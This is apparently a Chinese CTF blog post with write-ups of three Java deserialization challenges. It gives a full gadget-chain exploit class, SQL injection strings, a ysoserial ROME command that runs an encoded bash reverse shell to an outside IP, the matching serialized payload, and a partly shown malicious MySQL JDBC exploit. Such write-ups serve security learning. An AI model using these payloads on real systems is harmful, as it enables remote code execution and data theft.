这里的话是记录一下关于java反序列化的刷题

(因为刚把一些链子给跟完)

东华杯ezgadget

原题的jar包 可以把代码拷出来自己跑下
链接:https://pan.baidu.com/s/1t5-fV7SUETDEI5-qbZZQrw
提取码:8do5

java -jar ezgadget.jar在kali或者自己的服务器上运行跑一下,搭建一个环境

拿到jar包后先放到jd-gui里面进行反编译一下

然后在导到idea进行测试(这里的话是得根据题目自己创建package来导入)

image-20230522161955641

导入到idea里后,进行代码审计

先是查看pom.xml看有无一些常见链子的依赖

image-20230522162058331

这里的话是没有

Tools.java

image-20230522162207881

这里提供了他一些函数是进行base64编码和解码的,还有序列化和反序列化的

IndexController.java

image-20230522163815734

TostringBean.java

image-20230522162343938

这里话是提供了一个动态类加载的defineClass方法 并且还会实例化

这里话就说明了这道题是不出网的,得在自己本地执行编译过的恶意代码

那么我们就得找一下谁调用了这个TostringBean.toString()方法

这里如果对cc链比较熟悉的话,一下就能猜出来了

image-20230522163614748

cc5这条链子就有一个类的readObject方法是调用这个toSting方法的

于是调用链就是

1
BadAttributeValueExpException.readobject  --> ToStringBean.toString

于是我们就开始写exp

这里的话先从执行代码那部分开始写

image-20230522164138690

这里话是得使用反射调用来给这个参数赋值

这里附的值就是我们本地的编译过的恶意代码

image-20230522164815484

image-20230522165301451

然后就把执行代码的这部分写完了

接下来就是写使用BadAttributeValueExpException.readobject来触发toString这个函数了

先跟进去看一下这个类

先看他的构造函数

image-20230522165750768

在实例化的时候会执行这个方法,赋值就会执行toString方法,但是这里我们不能直接传Tostingbean方法,因为如果这里进行了调用了话,readobject方法的时候在调用会报错

所以这里的我们在实例化的时候就随便传一个值。

在看一下他的readobject方法

image-20230522165951342

就是会获取val这个参数的值并赋给valObj这个参数,然后在最后的时候就会调用valObj.toString()方法

所以关键点就在这个val参数这里,这里的话我们就可以考虑使用反射调用来进行修改这里的值

image-20230522170424460

这样就写好了

然后因为在这个/readobject路由里还得满足一些要求才能进行反序列化

image-20230522170453923

image-20230522170752259

这样就全部写完了

但是这里得需要先进行解码,所以我们还得对字节流进行编码

image-20230522170835166

image-20230522171128098

进行了编码

然后输出

image-20230522172417365

然后将编码后的结果进行url编码,然后data传参就行了(必须得进行url编码 )

就可以成功反弹shell了

EXP.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.ezgame.ctf;

import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class EXP {
public static void main(String[] args) throws Exception{
ToStringBean toStringBean = new ToStringBean();
Field field = toStringBean.getClass().getDeclaredField("ClassByte");
field.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf application\\idea\\IntelliJ IDEA Community Edition 2022.3.1\\project\\ezgadget\\target\\classes\\com\\ezgame\\ctf\\payload.class"));
field.set(toStringBean,bytes);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123123123);
Field filed = badAttributeValueExpException.getClass().getDeclaredField("val");
filed.setAccessible(true);
filed.set(badAttributeValueExpException,toStringBean);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);

byte[] bytes1 = byteArrayOutputStream.toByteArray();
String s = Tools.base64Encode(bytes1);
System.out.println(s);
}
}

妈的 吐槽一下 这里的话得需要jdk1.8来运行jar包 如果用jdk17的话 会shell弹不上去(这里卡了好久,晕了)

[网鼎杯 2020 朱雀组]Think Java

考点

MYSQL JDBC反序列化解析

(上面的文章是讲造成这个jdbc反序列化的原因,并且跟着链一步一步分析)

(下面的文章是讲使用mysql恶意服务来配合着jdbc反序列化漏洞来使用)

MYSql恶意服务+ JDBC的使用

参考文章

jdbc反序列化 (jdbc sql注入) rome链

先下载jar包,然后丢进jd-gui里进行分析

image-20230525105104895

这里的话就只给了部分代码

Row.java

就是自己写了有个Row类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package sqldict;

public class Row {
String name;

String type;

String def;

String isNull;

String isAuto;

String remark;

String isPK;

String size;

public String getIsPK() {
return this.isPK;
}

public void setIsPK(String isPK) {
this.isPK = isPK;
}

public String getName() {
return this.name;
}

public void setName(String name) {
this.name = name;
}

public String getType() {
return this.type;
}

public void setType(String type) {
this.type = type;
}

public String getDef() {
return this.def;
}

public void setDef(String def) {
this.def = def;
}

public String getIsNull() {
return this.isNull;
}

public void setIsNull(String isNull) {
this.isNull = isNull;
}

public String getIsAuto() {
return this.isAuto;
}

public void setIsAuto(String isAuto) {
this.isAuto = isAuto;
}

public String getRemark() {
return this.remark;
}

public void setRemark(String remark) {
this.remark = remark;
}

public String getSize() {
return this.size;
}

public void setSize(String size) {
this.size = size;
}

public Row() {}

public Row(String name, String type, String def, String isNull, String isAuto, String remark, String isPK, String size) {
this.name = name;
this.type = type;
this.def = def;
this.isNull = isNull;
this.isAuto = isAuto;
this.remark = remark;
this.isPK = isPK;
this.size = size;
}
}

SqlDict.java

连接数据库,其中sql语句处存在sql注入漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package sqldict;

import cn.abc.core.sqldict.Row;
import cn.abc.core.sqldict.Table;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

public class SqlDict {
public static Connection getConnection(String dbName, String user, String pass) {
Connection conn = null;
try {
Class.forName("com.mysql.jdbc.Driver");
if (dbName != null && !dbName.equals("")) {
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
}
if (user == null || dbName.equals(""))
user = "root";
if (pass == null || dbName.equals(""))
pass = "abc@12345";
conn = DriverManager.getConnection(dbName, user, pass);
} catch (ClassNotFoundException var5) {
var5.printStackTrace();
} catch (SQLException var6) {
var6.printStackTrace();
}
return conn;
}

public static List<Table> getTableData(String dbName, String user, String pass) {
List<Table> Tables = new ArrayList<>();
Connection conn = getConnection(dbName, user, pass);
String TableName = "";
try {
Statement stmt = conn.createStatement();
DatabaseMetaData metaData = conn.getMetaData();
ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[] { "TABLE" });
while (tableNames.next()) {
TableName = tableNames.getString(3);
Table table = new Table();
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);
while (rs.next())
table.setTableDescribe(rs.getString("TABLE_COMMENT"));
table.setTableName(TableName);
ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);
String PK;
for (PK = ""; rs2.next(); PK = rs2.getString(4));
while (data.next()) {
Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
table.list.add(row);
}
Tables.add(table);
}
} catch (SQLException var16) {
var16.printStackTrace();
}
return Tables;
}
}

Table.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package sqldict;

import cn.abc.core.sqldict.Row;
import java.util.ArrayList;
import java.util.List;

public class Table {
String tableName;

String tableDescribe;

List<Row> list = new ArrayList<>();

public String getTableDescribe() {
return this.tableDescribe;
}

public void setTableDescribe(String tableDescribe) {
this.tableDescribe = tableDescribe;
}

public String getTableName() {
return this.tableName;
}

public void setTableName(String tableName) {
this.tableName = tableName;
}

public List<Row> getList() {
return this.list;
}

public void setList(List<Row> list) {
this.list = list;
}
}

Test.java

接收dbName参数,然后调用getTableData方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
@PostMapping({"/sqlDict"})
@Access
@ApiOperation(")
public ResponseResult sqlDict(String dbName) throws IOException {
List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
return ResponseResult.e(ResponseCode.OK, tables);
}
}

Swagger

image-20230525110404630

这个东西就是解题关键了

swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。

查资料会查到swagger-ui.html

访问swagger-ui.html,会看到有三个路由,分别对应不同的功能,注意看第三个功能,对应着jar包中Test.class,我们可以通过传dbName来进行sql注入

image-20230525110943768

这个sqlDict就是我们jar包里给的文件了,下麦呢的dbName就是我们可以进行sql注入的地方

因为这个的sql语句在jar里面已经给出了,那么就可以直接进行sql注入了

(并且这里还不对查询语句进行检测)

Jdbc sql注入

image-20230525112531672

这里的myapp是因为

image-20230525112618567

所以就是myapp

获取数据库名

1
2
3
4
获取所有数据库的名字
dbName=myapp#' union select group_concat(SCHEMA_NAME)from(information_schema.schemata)#
结果
information_schema,myapp,mysql,performance_schema,sys

image-20230525112806875

获取表名

1
2
3
dbName=myapp#' union select group_concat(table_name)from(information_schema.tables)where(table_schema='myapp')#
结果
user

image-20230525113000057

获取列名

1
2
3
dbName=myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#
结果
id,name,pwd

image-20230525113118589

获取字段值

1
2
3
4
5
6
dbName=myapp#' union select group_concat(id)from(user)#
结果 1
dbName=myapp#' union select group_concat(name)from(user)#
结果 admin
dbName=myapp#' union select group_concat(pwd)from(user)#
结果

然后将用户名和密码在/common/user/login处提交,获取一串字符串

image-20230525113238116

下面是使用curl命令进行POST发包 记录一下这个操作

1
2
3
4
curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \ 
"password": "admin", \
"username": "admin%40Rrrr_ctf_asde" \
}' 'http://1250b81b-263f-47e9-9375-540b6aa7c9c7.node4.buuoj.cn/common/user/login'

image-20230525113410769

登录成功后返回有个base64编码的字段

将这段字符串放到/common/user/current处提交,然后就会发现回显了这个用户的信息

image-20230525113522530

回显出身份信息

对序列化字符串分析

1
Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu

下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。

java Deserialization Scanner插件使用

image-20230525113734998

安装一下这个插件来对这个base64编码的字符串进行分析,看是属于哪一条链子的

image-20230525114050230

把ysoserial的jar的路径也配置一下

然后抓包(抓的是current这个包,因为base64编码的字符串是用这个发包的),将其发送到插件中

image-20230525114437172

image-20230525114547498

最后发现是ROME

然后就去拿ysoserial直接来打就行,然后在使用current这个路由来进行传参就行了

这里话直接反弹shell就行

1
java -jar ysoserial-master-2874a69f61-1.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMzkuMTEwLzMzODkgMD4mMQ==}|{base64,-d}|{bash,-i}" > a.bin
1
2
3
4
5
6
7
8
# -*- coding: UTF-8 -*-
import base64
file = open("a.bin","rb")

now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()

这样写的好处是到时候生成的payload会是一条直线 不会有很多换行

image-20230525200007224

然后拿到current这个路由传参打就行了

注意的是Bearer这个前缀别忘了

1
Bearer rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAJSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAAZX2FjY2Vzc0V4dGVybmFsU3R5bGVzaGVldHQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AEEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////8AdAADYWxscHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAb1yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAYWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1ERXVOREl1TXprdU1URXdMek16T0RrZ01ENG1NUT09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0IADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXI5NzgwMzcwMTcyMDA5NQEAH0x5c29zZXJpYWwvUHduZXI5NzgwMzcwMTcyMDA5NTsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABkAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyAChjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5FcXVhbHNCZWFu9YoYu+X2GBECAAJMAApfYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAARfb2JqcQB+AAl4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBxAH4AFXNyACpjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5Ub1N0cmluZ0JlYW4J9Y5KDyPuMQIAAkwACl9iZWFuQ2xhc3NxAH4AHkwABF9vYmpxAH4ACXhwcQB+ACFxAH4AFXNxAH4AHXZxAH4AAnEAfgANc3EAfgAicQB+ACVxAH4ADXEAfgAGcQB+AAZxAH4ABng=

image-20230525201356657

image-20230525201406655

然后就可以了

[羊城杯 2020]A Piece Of Java

考点

(Java动态代理,MySQL JDBC反序列化)

题目给了个jar包,直接拿到jd-gui进行一波分析

image-20230526143250211

看到一共有这几个java文件 那么就直接对这些文件进行分析来寻找利用链

image-20230526143535463

image-20230526143544365

看到了这两个信息cc链和mysql的连接器(任意让人想到 jdbc)

MainController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package BOOT-INF.classes.gdufs.challenge.web.controller;

import gdufs.challenge.web.model.Info;
import gdufs.challenge.web.model.UserInfo;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import org.nibblesec.tools.SerialKiller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class MainController {
@GetMapping({"/index"})
public String index(@CookieValue(value = "data", required = false) String cookieData) {
if (cookieData != null && !cookieData.equals(""))
return "redirect:/hello";
return "index";
}

@PostMapping({"/index"})
public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
UserInfo userinfo = new UserInfo();
userinfo.setUsername(username);
userinfo.setPassword(password);
Cookie cookie = new Cookie("data", serialize(userinfo));
cookie.setMaxAge(2592000);
response.addCookie(cookie);
return "redirect:/hello";
}

@GetMapping({"/hello"})
public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {
if (cookieData == null || cookieData.equals(""))
return "redirect:/index";
Info info = (Info)deserialize(cookieData);
if (info != null)
model.addAttribute("info", info.getAllInfo());
return "hello";
}

private String serialize(Object obj) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try {
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
} catch (Exception e) {
e.printStackTrace();
return null;
}
return new String(Base64.getEncoder().encode(baos.toByteArray()));
}

private Object deserialize(String base64data) {
Object obj;
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try {
SerialKiller serialKiller = new SerialKiller(bais, "serialkiller.conf");
obj = serialKiller.readObject();
serialKiller.close();
} catch (Exception e) {
e.printStackTrace();
return null;
}
return obj;
}
}

InfoInvocationHandler.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package BOOT-INF.classes.gdufs.challenge.web.invocation;

import gdufs.challenge.web.model.Info;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class InfoInvocationHandler implements InvocationHandler, Serializable {
private Info info;

public InfoInvocationHandler(Info info) {
this.info = info;
}

public Object invoke(Object proxy, Method method, Object[] args) {
try {
if (method.getName().equals("getAllInfo") &&
!this.info.checkAllInfo().booleanValue())
return null;
return method.invoke(this.info, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

DatabaseInfo.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package BOOT-INF.classes.gdufs.challenge.web.model;

import gdufs.challenge.web.model.Info;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.DriverManager;

public class DatabaseInfo implements Serializable, Info {
private String host;

private String port;

private String username;

private String password;

private Connection connection;

public void setHost(String host) {
this.host = host;
}

public void setPort(String port) {
this.port = port;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String getHost() {
return this.host;
}

public String getPort() {
return this.port;
}

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public Connection getConnection() {
if (this.connection == null)
connect();
return this.connection;
}

private void connect() {
String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
try {
this.connection = DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}

public Boolean checkAllInfo() {
if (this.host == null || this.port == null || this.username == null || this.password == null)
return Boolean.valueOf(false);
if (this.connection == null)
connect();
return Boolean.valueOf(true);
}

public String getAllInfo() {
return "Here is the configuration of database, host is " + this.host + ", port is " + this.port + ", username is " + this.username + ", password is " + this.password + ".";
}
}

Info.java

1
2
3
4
5
6
7
8
package BOOT-INF.classes.gdufs.challenge.web.model;

public interface Info {
Boolean checkAllInfo();

String getAllInfo();
}

UserInfo.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package BOOT-INF.classes.gdufs.challenge.web.model;

import gdufs.challenge.web.model.Info;
import java.io.Serializable;

public class UserInfo implements Serializable, Info {
private String username;

private String password;

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public Boolean checkAllInfo() {
return Boolean.valueOf((this.username != null && this.password != null));
}

public String getAllInfo() {
return "Your username is " + this.username + ", and your password is " + this.password + ".";
}
}

一共就上述这几个文件组成 那么我们就可以开始分析(先导入到idea里)

这里的话先看反序列化入口

image-20230526150141923

这里话就是会将cookie的值来进行反序列化

但是之前我们虽然看到了有cc3.2.1链子的依赖,但是,没啥用,因为这里的

serialkiller.conf里面存在白名单

image-20230526150417284

只允许gdufs和java.lang的类进行反序列化

所以cc链直接打就不行了

于是我们就想别的方法 入口点在他自己写的一个代理类上面

image-20230526150655974

我们在调用他的invoke方法的时候,他会调用到checkAllInfo()方法 并且info可控

于是我们去看看哪个类里边存在checkAllInfo()方法

image-20230526150925311

DatabaseInfo这个类里边存在这个方法,并且最后还调用了自身的connect()方法

于是我们跟进这个connect()方法

image-20230526151040859

发现了他存在jdbc mysql的恶意利用,这里就可以进行恶意代码执行了

由于我们前面查看的mysql连接器的版本是8.0.19

于是就找了payload

image-20230526151250799

利用链

1
2
3
InfoInvocationHandler.invoke()
->DatabaseInfo.checkAllInfo()
->DatabaseInfo.connect()

所以大致攻击流程为:
cookie反序列化->反序列化出来的对象走invoke方法->向vps发jdbc请求->vps发恶意包->弹shell

那么接下来就开始编写EXP

Myexp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package gdufs.challenge.web.model;
import gdufs.challenge.web.model.*;
import gdufs.challenge.web.invocation.InfoInvocationHandler;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class Myexp {
public static void main(String[] args) throws Exception{
/*
* databaseinfo * */
DatabaseInfo databaseinfo=new DatabaseInfo();
databaseinfo.setHost("101.42.39.110");
databaseinfo.setPort("3306");
databaseinfo.setUsername("foo");
databaseinfo.setPassword("1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
/*
* infoInvocationHandler * */
InfoInvocationHandler infoInvocationHandler=new InfoInvocationHandler(databaseinfo);
/*
* info */
